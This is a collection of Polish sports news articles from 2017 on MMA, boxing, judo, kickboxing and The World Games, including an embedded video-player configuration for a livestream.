12 sierpnia hala widowiskowo-sportowa w Koszalinie doświadczy potężnych wrażeń. A to za sprawą gali Fight Exclusive Night 18. W walce wieczoru, w formule MMA, Kamil Łebkowski zmierzy się z Daguirem Imavovem, który w marcu w Warszawie pokonał Bartłomieja Koperę. Ponadto w Koszalinie zaprezentują się m.in. Marcin Naruszczka, Artur Bizewski, Mateusz Rębecki czy Wojciech Janusz. Gala w Koszalinie za kilkanaście dni, a włodarze FEN myślą już o kolejnym wydarzeniu.

Jesienią organizacja ponownie zawita do Wrocławia, gdzie gościła już sześć razy. Gala FEN 19 odbędzie się 14 października w Hali Orbita. – Po debiucie w Koszalinie teraz wracamy do miejsca, w którym wypływaliśmy na szerokie wody jako federacja zajmująca się mieszanymi sztukami walki oraz kickboxingiem. Po raz siódmy zagościmy we Wrocławiu i po raz trzeci areną zmagań dla naszych zawodników będzie Hala Orbita. To gwarancja niesamowitych emocji i znakomitej atmosfery – Wrocław zawsze był dla nas wyjątkowo gościnny – powiedział Paweł Jóźwiak, prezes FEN.

KM

Dobry występ Polek w Mińsku

Cztery medale wywalczyły reprezentantki Polski w zawodach Pucharu Europy w judo w Mińsku. Bezkonkurencyjna była Agata Ozdoba (63kg).

Łącznie do Mińska udało się ośmioro reprezentantów Polski, w tym aż siedem przedstawicielek płci pięknej. Rodzynkiem był Tomasz Domański (100kg). Z kolei w Pradze rywalizowali juniorzy. W stolicy Czech zaprezentowało się 26 biało-czerwonych.

Dziewczyny na medal

Reprezentacja Polski kobiet nie raz udowodniła, że jako drużyna ma ogromny potencjał. W 2016 roku biało-czerwone zdobyły mistrzostwo Europy. Tytułu nie udało obronić się w tegorocznym czempionacie, który odbył się w Warszawie. W finale Polki przegrały z Francuzkami. Chciałoby się, żeby indywidualnie nasze zawodniczki odnosiły wyniki na tym poziomie. Okazuje się, że jest to możliwe. Najlepszym tego dowodem jest zakończony właśnie Puchar Europy w Mińsku.

Jesienią 2015 roku Agata Ozdoba przeżywała prawdziwy dramat. Podczas Światowych Igrzysk Wojskowych w Korei Południowej judoczka zerwała więzadła krzyżowe. Operacja, rehabilitacja i długa przerwa. Ozdobę ominęło wiele turniejów, w których mogła zdobywać punkty do olimpijskiego rankingu. Co prawda wróciła na mistrzostwa Europy w Kazaniu, ale na igrzyska w Rio się nie zakwalifikowała. Była jednak w Brazylii jako sparingpartnerka swoich koleżanek. Ale to już przeszłość. Ozdoba może myśleć o kolejnych igrzyskach. W Mińsku Polka pokazała klasę i wygrała cztery walki. O złoto walczyła z mistrzynią Europy juniorek Inbal Shemesh. Dla Ozdoby triumf w Mińsku to pierwsze zwycięstwo w zawodach tej rangi.

Blisko wygranej była Beata Pacut (78kg). 21-letnia zawodniczka przegrała w decydującym pojedynku z mocną Holenderką Marhinde Verkerk. Wcześniej Polka wygrała trzy walki, w tym dwie przez ippon. W pokonanym polu pozostawiła m.in. mistrzynię Europy juniorek z 2016 roku Marię Annę Wagner.

Kolejne podium Agaty Perenc (52kg). Judoczka Polonii Rybnik w Mińsku sięgnęła po brąz. Z kolei na początku czerwca triumfowała w Bukareszcie. Na trzecim miejscu w Mińsku znalazła się również Anna Borowska (57kg), która w tym roku wygrywała już w Casablance i Pradze. W stolicy Białorusi 23-latka pokonała m.in. Arletę Podolak.

O krok od podium była Karolina Tałach (63kg). W starciu o brąz Polka przegrała z zawodniczką gospodarzy Danielą Kazanoi. Cieszy powrót po kontuzji Arlety Podolak (57kg), która zajęła siódmą lokatę.

Tomasz Domański (100kg) poległ już w pierwszym pojedynku.

Załęczny z brązem

Polska była licznie reprezentowana w Pradze, ale wraca tylko z jednym medalem. Jego zdobywcą Krzysztof Załęczny (+100kg). 19-latek wygrał dwa pojedynki, co dało mu brąz. Na drodze do rywalizacji o złoto Polakowi stanął Richard Waczulik z Węgier. Dla Załęcznego to drugie podium w tegorocznym startach. W lutym sięgnął po srebrny medal w Lignano.

Piąty był Paweł Drzymal (81kg). Polak dzielnie walczył, przeszedł przez repasaże, do których trafił po porażce z mistrzem Oceanii Anthonym Kourosem, a w starciu o brąz lepszy od naszego zawodnika był Mate Iklodi.

KM

Syrowatka: Ogromny krok w stronę dużych walk

Michał Syrowatka pokonując Robbiego Daviesa Jr wszedł na bokserskie salony. – Cieszę się, że w końcu zrobiłem ogromny krok w stronę dużych walk – nie ukrywa satysfakcji w rozmowie z FighTime.pl polski pięściarz.

Po sukcesie czas na odpoczynek. Taki plan ma 29-letni bokser z Ełku. A co dalej? Z pewnością Syrowatka będzie robił wszystko, aby dostąpić zaszczytu rywalizacji o pas mistrza świata WBA w wadze super lekkiej.

Odpoczynek po sukcesie

Od starcia z Daviesem minął tydzień. Przypomnijmy. Do Londynu 29-letni Syrowatka nie jechał w roli faworyta, jednak od początku starcia z 27-latkiem prezentował się bardzo dobrze. W dziewiątej rundzie Polak był liczony i myśląc o wygranej musiał przystąpić do ataku. Efekt nastąpił w dwunastej rundzie, kiedy Davies nie był w stanie kontynuować walki. Tym samym bokser z Ełku sięgnął po pas WBA Continental. Syrowatka otrzymał wiele pochwał i wszyscy liczą, że teraz konsekwentnie będzie dążył do walki o tytuł mistrzowski WBA.

Teraz Syrowatka będzie ładował akumulatory. Po wygranej walce należy mu się chwila odpoczynku. – Mam zamiar wraz z narzeczoną wyjechać na krotki odpoczynek. Na pewno nie będę ograniczał się do leżenia i picia piwa. Myślę, że to będzie aktywny odpoczynek – przedstawia Michał Syrowatka.

Jedno jest pewne, dziewiętnasta wygrana może być dla Syrowatki milowym krokiem w jego karierze, choć nie ostatnim. Czeka na niego jeszcze wiele wyzwań. W Londynie Syrowatka stanął przed trudnym zadaniem, ale zdał egzamin. Pokazał, że drzemią w nim spore możliwości. – Emocje opadły, choć z każdej strony przyjmuję wiele gratulacji. Cieszę się, że w końcu zrobiłem ogromny krok w stronę dużych walk. Oczywiście zrobię, co w mojej mocy by utrzymać się na tych salonach jak najdłużej – tłumaczy posiadacz pasa WBA Continental w wadze super lekkiej.

W oczekiwaniu na kolejną walkę

W tym roku Michał Syrowatka stoczył już trzy pojedynki. Rok temu zanotował ich tyle samo i wszystkie wygrał. Czy jesienią stoczy czwarty tegoroczny pojedynek? Na konkrety trzeba poczekać – Co do najbliższej walki, nic na chwilę obecną powiedzieć nie mogę. Muszę spotkać się z promotorem i razem coś ustalimy – podaje 29-letni pięściarz. 

Fot. Facebook Michał Syrowatka

KM

Brzykcy i Mateuszczyk z medalami Igrzysk Głuchych

Natalia Brzykcy (+78kg) zdobyła srebro, a Dominika Mateuszczyk (52kg) brąz na XXIII Letnich Igrzyskach Głuchych, które odbywają się w Samsun.

Rywalizacja rozgrywana w ciszy, ale każdy zawodnik wkłada całe serce, aby walczyć o jak najlepszy wynik. Ogromna determinacja i zaangażowanie osób głuchych pokazuje, że zawsze warto sięgać po marzenia.

Złoto było o krok

Zawodniczka poznańskiej Akademii Judo nie zwalnia tempa. W ubiegłym roku została podwójną mistrzynią świata w Samun. Ale to nie były pierwsze osiągnięcie Brzykcy. Wcześniej judoczka zdobyła srebrny medal mistrzostw Europy 2013 w Erywaniu, a dwa lata później sięgnęła po brąz Igrzysk Olimpijskich Głuchych. 

Ten rok również obfituje w sukcesy w wykonaniu zawodniczki poznańskiego klubu. W Gruzji, podczas mistrzostw Europy, wywalczyła brąz w drużynie. Z wielkimi nadziejami jechała do Samsun. Brzykcy szła jak burza i wygrała dwie walki przed czasem. Dopiero w finale zatrzymała ją Natalia Drozdova z Rosji. Polka musi zadowolić się srebrem, choć triumf był blisko. Brzykcy może dopisać kolejny sukces do swojego bogatego dorobku. 

33-latka lubi Samsun

Początkowo Mateuszczyk uprawiała lekkoatletykę w barwach AZS-u Gdańsk. Z czasem m.in. ze względu na mniejsze obciążenia treningowe zdecydowała się wybrać judo. Decyzja okazała się strzałem w dziesiątkę. 33-letnia zawodniczka Wars Warszawa odnosi sukcesy w rywalizacji głuchych w judo. W 2013 roku w Igrzyskach Olimpijskich Niesłyszących zajęła czwarte miejsce. Z kolei w 2015 roku sięgnęła po brąz mistrzostw Europy, które odbywały się w Armenii.

Wyjątkowym miejscem dla Mateuszczyk jest Samsun, gdzie rok temu osiągnęła największy sukces w karierze. Reprezentantka Polski wywalczyła dwa złote medale – w rywalizacji indywidualnej i drużynowej. W lipcu br. Mateuszczyk ponownie odwiedziła tureckie Samsun, któremu przypadła rola gospodarza XXIII Letnich Igrzyskach Głuchych. 33-letnia judoczka ma powody do radości. Choć początek zmagań w Turcji nie zwiastował sukcesu, to na koniec rywalizacji Polka mogła się uśmiechnąć. W ćwierćfinale przez ippon przegrała z Anną Shostak. Ukrainka potrzeba do zwycięstwa 44 sekund. Z kolei w starciu o brąz Mateuszczyk była górą i bardzo szybko rozprawiła się z Białorusinką Aliną Tsishkovets.

W ćwierćfinale Assel Maxutova okazała się zbyt mocna dla Agnieszki Brzykcy (70kg). Szansą dla Polki były repasaże, jednak w nich przegrała z Fatoumatą Dite.

Fot. Facebook Poland-Deaflympics'2017

KM

Syrowatka poleciał w górę

Ostatnie dni są wyjątkowe w życiu boksera Michała Syrowatki. W Londynie 29-latek znokautował Robbiego Daviesa Jr i sięgnął po pas WBA Continental kategorii super lekkiej. Dzięki temu znalazł się na czwartym miejscu w rankingu organizacji.

Na krajowym podwórku Syrowatka nie raz udowadniał, że ma potencjał. W Londynie stoczył pierwszy pojedynek poza granicami kraju, który zarazem stanowił dla niego wielką szansę.

Prezent dla mamy

W dotychczasowej karierze Syrowatka przegrał tylko jedną walkę. Półtora roku temu bokser z Ełku przegrał „u siebie” z doświadczonym Rafałem Jackiewiczem. Jednak niecałe pół roku później zrewanżował się byłemu mistrzowi Europy. Na kolejnych galach prezentował się wręcz perfekcyjnie i odprawił rywali. Przez wielu Syrowatka uznawany jest za najlepszego polskiego boksera w limicie do 63,5kg.

15 lipca w Londynie 29-latek stoczył najważniejszą walkę w karierze. W Londynie zmierzył się z Robbie'm Daviesem Jr. Od marca 2016 roku 27-latek dzierżył w swoich dłoniach pas WBA Continental, na swoim koncie miał 15 wygranych walk, w tym 11 przed czasem i ani jednej porażki. Syrowatka sprawił niespodziankę i pokonał wyżej notowanego rywala. Polak znokautował Daviesa w dwunastej rundzie, choć w dziewiątej sam był liczony. 

29-letni pięściarz z Ełku wygrał najważniejszą walkę w karierze i otworzył sobie drzwi do rywalizacji o stawkę. Syrowatka wkroczył do czołówki wagi super lekkiej. A wygrana w Londynie stanowiła prezent urodzinowy dla jego mamy.

Pokonaniu Daviesa sprawiło, że Syrowatka znalazł się w najnowszym rankingu federacji World Boxing Association. Polak został sklasyfikowany na czwartym miejscu, wcześniej nie był uwzględniany w notowaniu. Polak marzy o walce o mistrzostwo świata. Pas należy do Juliusa Indongo. Teraz Syrowatka musi wykonać następny krok i potwierdzić swoją wartość. Kolejna wygrana może sprawić, że coraz głośniej będzie mówiło się o ewentualnym starciu Polaka o pas mistrza świata.

Miejsca pozostałych Polaków

Sprawdzamy miejsca pozostałych polskich bokserów w najnowszym zestawieniu WBA. W kategorii junior ciężkiej wysoko stoją akcje Mateusza Masternaka i Krzysztofa Włodarczyka, którzy znaleźli się na drugiej i trzeciej pozycji. Podczas czerwcowej gali PBN „Master” pokonał Ismaila Sillaha, a w maju „Diablo” wygrał z Noelem Gevorem. Warto dodać, że były mistrz świata WBC i IBF niebawem zmierzy się z czempionem IBF Muratem Gasijewem. Starcie odbędzie się w ramach turnieju World Boxing Super Series.

Fot. Michał Syrowatka Facebook

KM

LIVE: Konferencja PZKB podczas The World Games

Zapraszamy na transmisję telewizyjną na żywo z konferencji prasowych Polskiego Związku Kickboxingu podczas igrzysk sportów nieolimpijskich The World Games we Wrocławiu.

Program transmisji:

25 lipca (wtorek) – godz. 18.00

26 lipca (środa) – godz. 18.00

27 lipca (czwartek) – godz. 18.00

ZAPRASZAMY!!!

[kod]

The World Games – Kickboxing

The World Games – Kickboxing

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PZKB_TWG2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PZKB_TWG2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PZKB_TWG2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PZKB_TWG2017.livx"
},
autofocus: false,
rendererPriority: ["dash", "html5", "silverlight"],
skin: "red",
// —
splashscreen: "http://r.dcs.redcdn.pl/file/o2/Marklaw/twg-logo.png",
poster: "http://r.dcs.redcdn.pl/file/o2/Marklaw/twg-logo.png",
autoplay: false,
// —

width: 640,
height: 385,
autoplay: false,
});

Rozpoczynają walkę o medale

Odliczanie do startu Sportowych Igrzysk Olimpijskich (The World Games). Przez dziesięć dni zawodnicy będą walczyć o medale w 31 dyscyplinach. Wśród nich są m.in. sumo, jiu jitsu, muaythai oraz kickboxing.

Wielkie święto sportu rozpocznie się 20 lipca i potrwa do 30 lipca. Światowe Igrzyska Sportowe odbędą się po raz dziesiąty.  Kibice będą mogli odkryć wiele nowych dyscyplin i zagłębić się w szczegóły. Dla sportów walki to także okazja na promocję na własnej ziemi.

Dostali zaproszenie

Kickboxing to niezwykle efektowny sport, który zyskuje coraz większą popularność. Cały czas dyscyplina przebija się na popularność. W tym roku kibice będą mogli podziwiać zawodników we Wrocławiu. Kickboxing znalazł się wśród dyscyplin, które dostały „zaproszenie” na Światowe Igrzyska Sportowe. W każdej kategorii zaprezentuje się po ośmiu zawodników.

Początkowo we Wrocławiu mieliśmy zobaczyć dziewięcioro naszych reprezentantów, ale Polska otrzymała kolejne dzikie karty. Podczas Światowych Igrzysk Sportowych zaprezentują się Wojciech Kazieczko (67kg) i Aleksander Kalicki (63kg), którzy dołączyli do: Małgorzaty Dymus, Róży Gumiennej, Dawida Kasperskiego, Mateusza Pluty, Arkadiusza Kaszuby, Marty Waliczek, Marcina Kreta, Michała Ronkiewcza i Michała Turyńskiego. Wszyscy nasi kickboxerzy legitymują się sporym doświadczeniem na poziomie międzynarodowym, wielu zasmakowało rywalizacji w walkach zawodowych. Mamy mocny team, który stać na dobre wyniki. 

Powtórzyć sukces

Liczymy na polskie medale w jiu jitsu. W naszej kadrze zabraknie Anny Polok (70kg), która cztery lata w Cali zdobyła złoty medal w ne waza. Obecnie zawodniczka pochłonięta jest macierzyństwem. We Wrocławiu zobaczymy medalistów z poprzednich igrzysk: Martynę Bierońską (55kg), Emilię Maćkowiak (70kg) i Tomasza Szewczaka (94kg), którzy sięgnęli po srebrne krążki. We Wrocławiu umiejętności zaprezentują również: Maciej Kozak, Maciej Polok, Rafał Riss oraz Jędrzej Loska.

Warto dodać, że cztery lata temu w Cali biało-czerwoni wywalczyli sześć medali, w tym cztery zdobyli zawodnicy rywalizujący w jiu jitsu.

W Hali Orbita zaprezentują się nasi sumocy. Kadra biało-czerwonych liczy dziesięć nazwisk: Magada Macios, Monika Skiba, Olimpia Robakowska, Marina Rozum, Jagoda Mazurek, Paweł Wojda, Patryk Swora, Aron Rozum, Michał Luto i Jacek Piersiak.

Będziemy również ściskać kciuki za naszych reprezentantów w muaythai. We Wrocławiu wystąpią m.in. znane z gal Ladies Fight Night Natalia Leciejewska i Marta Gusztab. Ponadto, w hali Orbita zaprezentują się: Gabriela Kuzawińska, Przemysław Kmiecik, Mateusz Kucharski, Oskar Siegert, Mateusz Janik, Jakub Rajewski, Dawid Mirkowski, Rafał Korczak i Łukasz Radosz.

KM

Poznaliśmy kadrę na mistrzostwa świata

Za półtora miesiąca rozpoczną się mistrzostwa świata w judo w Budapeszcie. Do stolicy Węgier wybiera się 14-osobowa reprezentacja Polski.

Na przełomie sierpnia i września judocy będą walczyli o medale w Budapeszcie. W miniony weekend dwóch z naszych reprezentantów stanęło na podium Pucharu Europy w Saarbruecken. Kolejny był o krok od medalu. Czy wszyscy nasi kadrowicze wypracowali już odpowiednią formę?

8:6

Kiedyś mówiło się o kobietach na traktorach, teraz coraz częściej widzimy je za kierownicą autobusów. A i w polityce pojawiło się pojęcie parytetu. Również w sporcie kobiety mają swoje miejsce. Nie inaczej jest w przypadku tatami, jednak przeważnie liczba startujących pań jest niższa niż mężczyzn. W naszej kadrze proporcje wyglądają inaczej. Do Budapesztu uda się 8 kobiet i 6 mężczyzn, a w rywalizacji indywidualnej zaprezentuje się odpowiednio 6 judoczek i 4 judoków.

Agata Perenc (52kg) przygotowuje formę na start w Budapeszcie. Judoczka okazała się najlepsza w Pucharze Europy w Bukareszcie, co było jej największym osiągnięciem w dotychczasowych startach. W gazie jest również Anna Borowska (57kg). 23-latka triumfowała w Casablance i Pradze. W stolicy Czech po srebro sięgnęła Beata Pacut (78kg), brązowy medal wywalczyła Agata Ozdoba (63kg). Do Budapesztu pojadą także Karolina Pieńkowska (52kg) i Karolina Tałach (63kg). Wszystkie będą startowały w rywalizacji indywidualnej. Warto dodać, że w kwietniowych mistrzostwach Europy nasza żeńska kadra sięgnęła po srebrny medal.

W stolicy Węgier w rywalizacji indywidualnej zaprezentuje się czterech Polaków. Po raz kolejny Piotr Kuczera (90kg) będzie naszą medalową nadzieją. W tym roku wygrywał w Katowicach i Rzymie. Z dobrej strony w mistrzostwach Europy pokazał się Maciej Sarnacki (+100kg). Zawodnik Gwardii Olsztyn w Warszawie był piąty. O medal mistrzostw świata powalczą również Aleksander Beta (66kg) i Damian Szwarnowiecki (81kg).

Z kolei w rywalizacji drużynowej trenerzy będą mogli postawić na Arletę Podolak (57kg), Annę Załęczną (+70kg), Wiktora Mrówczyńskiego (73kg), Patryka Ciechomskiego (90kg) oraz Kamila Grabowskiego (+100kg).  

Przed dwoma laty w Astanie biało-czerwoni nie wywalczyli żadnego medalu. Najlepiej zaprezentowała się Daria Pogorzelec (78kg), która była piąta.

Dwa medale z Niemiec

W miniony weekend judocy rywalizowali o punkty do światowego rankingu w Saarbruecken. Na tatami zaprezentowało się 16 polskich zawodników.

Kolejny dobry występ w tym sezonie zaliczył Piotr Kuczera. Brązowy medalista mistrzostw Europy seniorów z 2016 roku wygrał pięć pojedynków. W trzeciej walce przegrał z Dario Kurbjeweitem Garcią, jednak poradził sobie w repasażach. Z kolei w starciu o brąz Polak pokonał wicemistrza świata z 2014 roku Krisztiana Totha.

Brąz wywalczył również Kamil Grabowski (+100kg), który wygrał cztery z pięciu walk.

KM 

Porażka Dudka na Glory 43

Starcie dwóch debiutantów w kickboxerskiej organizacji Glory w Madison Square Garden w Nowym Jorku. Itay Gershon jednogłośną decyzją sędziów pokonał Rafała Dudka. 

W kwietniu gruchnęła informacja o podpisaniu przez zawodnika z Nowego Sącza kontraktu z Glory. Na jego debiut przyszło nam czekać kilka miesięcy. „Pierwsze śliwki robaczywki”, ale liczymy, że po zakończeniu kolejnego pojedynku ręce w górę będzie mógł wznieść Polak.

Wściekły Dudek

33-letni zawodnik ma bogaty bagaż doświadczeń. Na krajowym uchodzi za czołowego fightera wagi lekkiej. W swojej karierze prezentował się na galach legendarnej holenderskiej organizacji It's Showtime. Dudek zwrócił na siebie uwagę podczas ubiegłorocznego występu w programie Enfusion Reality, który był nagrywany w Tajlandii. Rywalizowali w nim czołowi kickboxerzy w kategorii do 70kg, a Polak dał kilka efektownych walk. W efekcie zajął trzecie miejsce. Dudek prezentował się również na galach organizacji DSF. W czerwcu stoczył walkę z Rafałem Jackiewiczem, która wzbudziła ogromne zainteresowanie. Dudek wygrał na punkty.

14 lipca przypadł jego debiut w organizacji Glory. Los skojarzył 33-latka z Itayem Gershonem, który w swojej karierze rywalizował już z polskimi zawodnikami. Fighter z Izraela pokonał Marcina Parchetę i Mateusza Kopca. Debiut Dudka i Gershona w Glory nastąpił w miejscu szczególnym, gdzie odbywają się największe pojedynki. Madison Square Garden – to mówi samo za siebie.

Rafałowi Dudkowi nie można odmówić ambicji. Dzielnie walczył przez trzy rundy, jednak to Gershon zadał więcej ciosów, miał optyczną przewagę i sędziowie wskazali na niego. – Więcej trafiałem rękami – rywal dużo więcej kopał, ale serio żadne kopnięcie nie zrobiło na mnie wrażenia i może to mnie uśpiło. Moja wina –  i jestem na siebie wściekły! Zawalczyłem źle – wiem o tym, taka ważna walka i w takim stylu ja przegrać na własne życzenie! – ocenia na swoim facebooku Rafał Dudek.

Trzeba dalej pracować

Sport to chwile radości, ale i gorzkich łez. Nie zawsze się wygrywa i trzeba umieć pogodzić się z porażką. Zacisnąć zęby i dalej pracować. Dudek przegrał w debiucie w Glory, ale podpisał kontrakt na trzy walki, więc w kolejnych starciach musi pokazać, że zasłużył na tę szansę. – Wnioski już zostały wyciągnięte… Ale o tym będzie jeszcze mowa. Dziękuję za kibicowanie i wsparcie.
Nie chowam głowy w piasek – trzeba umieć przegrywać! – podkreśla Dudek.

KM

Kto komu wbije szpilę?

Na ringu w Nowym Jorku dojdzie do polskiego starcia w wadze ciężkiej. 15 lipca na gali Premier Boxing Champions Artur Szpilka zmierzy się z Adamem Kownackim.

Środowe (12 lipca), ostatnie przed ważeniem, spotkanie bokserów przebiegło w spokojnej atmosferze, choć wcześniej nie szczędzili sobie kąśliwych uwag. Oby w ringu nie zabrakło mocnych ciosów i efektownych wymian.

Inne cele

Są w tym samym wieku, nie mają włosów na głowie (albo mają ich niewiele) i rywalizują w wadze ciężkiej, gdzie niejednego rywala rozłożyli na łopatki. Szpilka miał już okazję walczyć o mistrzostwo świata. W styczniu ubiegłego roku przegrał przez nokaut w dziewiątej rundzie z czempionem WBC Deontayem Wilderem. Na zupełnie innym biegunie jest Adam Kownacki. 28-latek mieszkający w USA zbiera doświadczenie na tamtejszych ringach i jeszcze nigdy nie przegrał.

Od początku starcie budzi ogromne emocje. A to ze względu na fakt, że Szpilka i Kownacki nie szczędzą sobie gorzkich słów. W pewnym momencie „Szpila” podkreślił, że rywal działa mu na nerwy, ale użył zdecydowanie mocniejszych słów. Z kolei Kownacki zapowiadał, że jest w doskonałej formie i zakończy pojedynek z byłym pretendentem do pasa WBC przed czasem.

Szpilka i Kownacki są w zupełnie innym miejscu. 28-latek urodzony w Wieliczce wraca po półtorarocznej przerwie. Miał walczyć wcześniej, ale ostatecznie nie doszło do jego starcia z Dominikiem Breazeale'm. Szpilka jest głodny walki i rywalizacji o najwyższą stawkę. W jego przypadku liczy się tylko zwycięstwo. Porażka w starciu z Kownackim sprawi, że „Szpila” stanie się jednym z wielu pięściarzy wagi ciężkiej, a nie postrzeganym jako kandydat do rywalizacji o pasy.

Z kolei Kownackim staje przed wielką szansą. Dotychczas stoczył 15 walk, ma na swoim koncie komplet zwycięstw. 12 pojedynków wygrał przed czasem. W tym roku pokonał przed czasem Joshuą Tufte'a. Wygrana z pięściarzem formatu Szpilki może być dla Kownackiego przepustką do wielkiej kariery. Popularny „Baby Face” zapewnia, że dobrze przepracował okres przygotowawczy i jego rywal ma się, czego obawiać.

Przewaga Szpilki

Doświadczenie to atut, którym bez wątpienia może pochwalić się Artur Szpilka. 28-latek stoczył więcej walk o stawkę niż jego najbliższy rywal. „Szpila” rywalizował już z takimi pięściarzami jak Bryant Jennings, Tomasz Adamek czy Deontay Wilder. Takiego bagażu doświadczeń nie ma za sobą Adam Kownacki.

Wszystko zweryfikuje jednak ring. Kownacki w Nowym Jorku jeszcze nie przegrał. Inaczej jest w przypadku Szpilki. To właśnie w tym mieście 28-latek doznał dwóch porażek w zawodowej karierze.

KM

Mayweather potrzebuje pieniędzy

Floyd Mayweather Jr. to synonim sukcesu i wielkich pieniędzy. „Money” wraca ze sportowej emerytury, żeby w Las Vegas zmierzyć się w arcyciekawym pojedynku z zawodnikiem MMA Conorem McGregorem. Ruszyła promocja walki, a zarazem na jaw wyszły problemy finansowe Amerykanina.

Przez lata 40-latek był na ustach wszystkich. Wygrywał, zgarniał ogromne gaże za kolejne walki i był symbolem sukcesu. Na głową wielkiego mistrza boksu zebrały się czarne chmury. Okazało się, że Mayweather Jr. ma długi i zalega z podatkami.

McGregor pomoże

Starcie boksera i zawodnika MMA, które odbędzie się 26 sierpnia w Las Vegas budzi ogromne emocje. Mayweather i McGregor ruszyli w trasę promującą walkę. Spojrzeli sobie prosto w oczy w Los Angeles, a w planach mają kolejne miasta. Walka ma przynieść ogromne dochody. Mayweather zaprzyjaźnił się z wielkimi pieniędzmi, a dla McGregora byłaby to pierwsza okazja, aby zarobić krocie. 

Okazuje się jednak, że to Mayweather znajduje się w potrzebie. Ponoć zalega z podatkami. Amerykański pięściarz zapewniał na swoim instagramie, że tak nie jest. – Wujek Sam otrzymał ode mnie 26 000 000 dolarów w 2015 roku! Czego jeszcze mogliby chcieć? – napisał Mayweather. – Moje imperium jest solidne i nienaruszone – zapewniał pięściarz.

40-letni Mayweather zalega z zapłaceniem aż 22,2 miliona dolarów podatku za 2015 rok. Amerykański Urząd Podatkowy naciska na boksera, aby ten uregulował należności. W 2015 roku Mayweather stoczył walkę stulecia z Manny Pacquiao. Cały świat patrzył na walkę Amerykanina z Filipińczykiem, a ci mogli liczyć zyski. „Money” zgarnął ponad ćwierć miliarda dolarów. Mayweather zapłacił część należnego podatku. Urząd naciskał, aby pięściarz uregulował całość, jednak jego prawnicy złożyli pismo o możliwość spłaty zaległości pod koniec sierpnia. Ratunkiem dla Mayweathera pozostaje więc… McGregor.

Zachować spokój

W tej chwili doświadczonemu bokserowi nie pozostaje nic innego jak zachować spokój. Ma sztab prawników, który dba o jego interesy. Za walkę z McGregorem 40-letni pięściarz zgarnie grubo ponad 100 milionów dolarów. Spokojnie spłaci zadłużenie, ale będzie musiał pamiętać o zapłaceniu  podatku.

26 sierpnia w Las Vegas będzie toczyła się rozgrywka o wielką kasę. Tygodnie poprzedzające walkę zapowiadają się niezwykle gorące, a kolejne konferencje prasowe zapowiadają się ciekawie. Dlaczego? Bo „show must go on”. A wiadomo, że gra toczy się o wysoką stawkę. 

KM

Polacy spisali się na „9”

Mówi się, że kot ma dziewięć żyć. Ta liczba prześladowała polskich judoków w Gdyni, gdzie odbył się Puchar Europy juniorów. Biało-czerwoni zdobyli dziewięć medali i w klasyfikacji medalowej uplasowali się na dziewiątej pozycji.

Do pełni szczęścia zabrakło jedynie złota. Polacy zdobyli trzy srebrne medale i sześć brązowych. Najlepsi okazali się Rosjanie, którzy w swoim dorobku zapisali… dziewięć krążków, w tym cztery złote.

Ponownie na podium

Polakom udało się poprawić ubiegłoroczny wynik z zawodów w Gdyni, kiedy zdobyli siedem medali. Po raz kolejny na podium Pucharu Europy w mieście położonym nad Bałtykiem stanęli Julia Kowalczyk (57kg), Jakub Ozimek (90kg) oraz Kacper Szczurowski (100kg).

19-letnia Kowalczyk coraz pewniej poczyna sobie na tatami wśród seniorów. W światowym rankingu zajmuje 41. miejsce. Kolejne starty w rywalizacji juniorskiej potwierdzają talent Kowalczyk. Miesiąc temu w Leibnitz była trzecia. W Gdyni judoczka Polonii Rybnik uchodziła za jedną z faworytek do triumfu. Kowalczyk stopniowo realizowała swój plan, ale w drodze do finału stoczyła trzy ciężkie boje. W rywalizacji o złoto musiała uznać wyższość Belgijki Miny Libeer. Tym samym Polka powtórzyła ubiegłoroczny wynik z Gdyni.

20-letni Kacper Szczurowski dotarł w Gdyni do finału. W drodze do walki o złoto pokonał trzech rywali, w tym mocnego Białorusina Daniela Mukete, który w maju wygrał zawody w Kownie (Polak był tam trzeci). Finałowe starcie z Simeonem Cathariną niezwykle zacięte, ale to mistrz świata kadetów z 2015 roku cieszył się z triumfu. Z kolei Szczurowski poprawił się względem ubiegłorocznego startu w Gdyni, gdzie zdobył brąz.

Gdy Jakub Ozimek startuje w Polsce wiadomo, że stanie na podium. Tak było dwa lata temu we Wrocławiu i w ubiegłym roku w Gdyni. Tym razem nie mogło być inaczej. Ozimek wywalczył brązowy medal, na co złożyły się trzy zwycięstwa. W półfinale Polak poległ z późniejszym triumfatorem Iuriim Bozhą.

W Gdyni o krok od zwycięstwa była Klaudia Cieślik (52kg). 19-latka błysnęła w majowym Pucharze Europy w Kownie, gdzie zajęła drugie miejsce. Wynik powtórzyła w Gdyni. Cieślik ponownie musiała uznać wyższość Myrian Blavier, z którą przegrała również na Litwie.

Mogło być więcej medali

Polacy łącznie zdobyli dziewięć medali. Oprócz wyżej wymienionych, brązowe krążki zawisły na szyjach: Paulina Dziopy (78kg), Anity Formeli (+78kg), Aleksandry Kalety (52kg), Aleksandry Polkowskiej (44kg) i Sebastiana Marcinkiewicza (81kg). Biało-czerwoni mieli więcej szans medalowych. Walki o miejsca na podium przegrały: Zuzanna Komarek (57kg), Julia Księżyk (+78kg), Izabella Olejnik (44kg) i Eliza Wróblewska (70kg).

Łącznie w Gdyni zaprezentowało się 335 judoków. Pierwsze skrzypce grali Rosjanie, Belgowie i Francuzi.

Fot. wikipedia

KM

Blaydes pokonał Omielańczuka

Daniel Omielańczuk poniósł trzecią porażkę z rzędu. Na gali UFC 213 w Las Vegas Polak przegrał jednogłośną decyzją sędziów z Curtisem Blaydesem.

Sytuacja 34-letniego fightera z Warszawy w najlepszej organizacji MMA na świecie stała się trudna. Ostatnie zwycięstwo w UFC Omielańczuk zanotował rok temu.

Doświadczenie to za mało

Curtis Blaydes to niezwykle efektownie walczący zawodnik. Co prawda swoją przygodę z UFC zaczął od porażki z Francisem Ngannou, jednak dwa kolejne pojedynki wygrał przed czasem. Na przeciwległym biegunie znajdował się Omielańczuk. Po dwóch porażkach z rzędu nad głową Polaka zebrały się czarne chmury.

